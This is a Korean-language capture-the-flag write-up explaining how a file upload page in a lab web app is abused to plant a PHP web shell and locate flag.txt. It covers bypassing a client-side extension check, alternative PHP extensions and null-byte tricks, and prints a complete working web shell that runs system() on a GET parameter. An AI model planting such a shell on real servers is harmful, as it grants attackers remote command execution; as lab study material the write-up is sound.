[1]Reconnaissance
-Web 서버안에서 flag.txt 파일을 찾아내야 합니다.
엔드포인트 분석
-웹쉘을 업로드 공격은 일반적으로 업로드된 파일이 보관되는 곳에서 발생합니다.
-다만 Web Shell 1문제와 다르게 웹쉘 업로드에 대한 언급을 하지 않은 것을 보면 또 다른 풀이가 있을지도 모르겠습니다.
-파일을 작성하는 ./notice_write.php에서는 위와 같이 파일을 업로드하는 기능이 있습니다. 로직을 분석해보면, ./notice_write.php에서 업로드한 파일은 notice_write_process.php를 거쳐 notice_read.php?id=xx 에서 Download 버튼의 출처 ./files/username/filename 으로 접근할 수 있습니다.
*"Download" 버튼 우클릭 시 나타나는 "Copy Link"를 누르면 이미지가 저장되는 경로로 이동할 수 있습니다. 해당 링크로 이동하면 아래와 같이 저장한 사진이 나타납니다.
[2]Vulnerability&Exploit
Web shell upload
-웹쉘 취약점이란, 서버 측에서 실행되는 파일 중 명령어를 실행하는 코드를 삽입한 실행 파일을 업로드하고 경로에 접근하여 이를 사용하는 취약점입니다.
-웹쉘 공격의 단계는 아래와 같습니다.
- 웹 서버 측에 실행 파일(php 파일 등)을 올리고 업로드 여부를 확인합니다.
- 업로드된 파일의 경로를 확인해 접근하여 실행 파일이 작동하는지 확인합니다.
-웹쉘 공격은 업로드한 실행 파일이 코드의 로직대로 저장된 서버의 경로에 접근하여 실행됨에 따라 발생합니다.
-따라서 웹쉘 공격은 업로드만 되면 가능한 공격이 아니라 파일의 실행 가능이 전제되어야 사용할 수 있는 공격방식입니다. 이를 알 수 있는 방법은 직관적으로 결과를 확인할 수 있는 코드를 먼저 삽입하는 방법이 있습니다.
-현재 이 웹페이지는 notice_write.php에서 파일을 업로드할 수 있고, 이를 ./files/username/filename 으로 접근할 수 있습니다.
//test.php
<?php
$result = 3 * 3;
echo $result;
?>
-위 코드가 notice_write.php에서 업로드가 가능하고, ./files/username/test.php 로 접근시 실행되어 9 를 출력한다면, 웹 쉘 업로드가 가능할 수 있습니다.
-"업로드할 수 없는 확장자의 파일입니다."라는 메세지가 뜨게 됩니다. 이를 burpsuite를 키고 실행하거나, 개발자도구의 Network 탭에서 보면 서버로 요청이 가지 않지만 alert 메세지가 뜨고 거부되는 것을 알 수 있습니다. 따라서 이는 클라이언트 단에서 실행되는 구문일 것입니다.
-notice_write.php의 form 태그를 보면 onsubmit 이벤트가 발생시, checkFileExtension이라는 함수에 인자로 writeFrm.upload_file.value를 담아 javascript를 실행하는 것을 볼 수 있습니다. 이 부분이 확장자 검사를 수행하는 것 같으므로 제거하고 다시 전송을 해봅시다.
-"업로드 될 수 없는 파일이 탐지되었습니다 {파일 이름.php}"와 "글 작성에 성공하셨습니다!" 라는 메세지가 출력됩니다. 이것으로 추측할 수 있는 것은 게시물을 작성하고 요청을 보낼 때 보내지는 type(image/jpeg 등)을 검사하는 경우와 pathinfo를 사용하거나, '.'을 기준으로 확장자를 가져와 검사하는 로직이 서버에도 있을 수 있음을 추측할 수 있습니다.
[1]uploaded type으로 검사하는 경우
-요청시에 전송하는 type으로 검사하는 경우, burpsuite 등으로 변조하여 전송하면 쉽게 우회할 수 있습니다.
-하지만 검사가 통과되지 못했습니다. 따라서 file의 type을 사용해 검사하는 로직은 아닐 수 있습니다.
[2]확장자로 검사하는 경우
-일단 시도해봐야 할 것은 필터링되지 않는 대체 확장자로 저장을 시도해볼 수 있습니다.
*https://book.hacktricks.xyz/pentesting-web/file-upload
File Upload | HackTricks
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required). File Upload General Methodology Bypass file exte
book.hacktricks.xyz
-php의 경우 상황에 따라 아래의 확장자들을 php 대신 사용할 수 있다고 합니다.
.php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
-하지만 가능한 확장자를 찾지 못했습니다.
-또 다른 방법은 null을 이용한 확장자 속임수입니다. 운영체제에서 null이 위치한 곳을 파일명의 끝으로 인식하여, file.php[null].jpg 로 저장하여 이를 속이는 방법입니다. 하지만 apache 등의 유명한 웹 서버에서는 null 문자가 포함된 요청이 들어올 경우 404 Bad Request 를 출력하고 이를 실행하지 않습니다. 이 방법 역시도 실패했습니다.
[3]잘못된 코드 구조
-사실 ./files/username으로 접속하면 위와 같이 디렉터리 리스팅으로 파일의 리스트를 볼 수 있는데, 사용 불가능한 확장자라고 알림이 뜨고 저장이 거부된 줄 알았던 파일이 저장되어 있는 것을 확인할 수 있습니다.
-서버단에서 온 응답에서 확장자를 사용할 수 없다는 메세지가 뜰 때 "글 작성이 완료되었습니다." 라는 메세지도 함께 뜨는데, 구조가 뭔가 잘못된 듯 합니다. 아마 우회되는 확장자도 찾아보라는 의도에서 저렇게 작성하신 것 같습니다.
-따라서 그냥 ./files/username 에서 올린 파일에 접근하면 실행파일이 실행되는 것을 볼 수 있습니다.
//easy-simple-php-webshell.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>
*https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985
easy-simple-php-webshell.php
GitHub Gist: instantly share code, notes, and snippets.
gist.github.com
-위 코드는 삽입할 웹쉘 코드입니다. 간단하게 GET 요청으로 cmd 파라미터의 값을 받아 system 함수도 실행하는 것이 제일 간단한 웹쉘이지만 위의 웹쉘은 form태그와 input태그로 명령어를 입력하는 폼을 만들고 전송하여 명령어를 수행하고, 2>&1 로 에러가 발생시 출력하도록 작성되었습니다.
-'hello.php'라는 이름으로 업로드하였고, ./files/username/hello.php에 접근하여 실행할 수 있습니다.
-명령어 'ls -al'로 디렉터리안의 파일을 조회할 수 있습니다. 하지만 디렉터리 하나하나를 검색한다면 시간이 오래걸리므로 'find / -type f -name flag.txt 2>/dev/null' 명령어를 사용해서 "루트 디렉터리부터 이름이 flag.txt인 파일을 검색하고 에러는 '/dev/null'로 리다이렉트하여 'permission denied' 등의 에러 결과를 출력하지 않도록하여 빠르게 flag.txt를 찾을 수 있습니다.
[3]Flag
flag.txt
'write-up > web' 카테고리의 다른 글
[web]Get Flag File (0) | 2024.07.26 |
---|---|
[web]Web Shell 3 (0) | 2024.07.25 |
Web Shell 1 (0) | 2024.07.19 |
Get Admin 3 (0) | 2024.07.08 |
Get Admin 2 (0) | 2024.07.06 |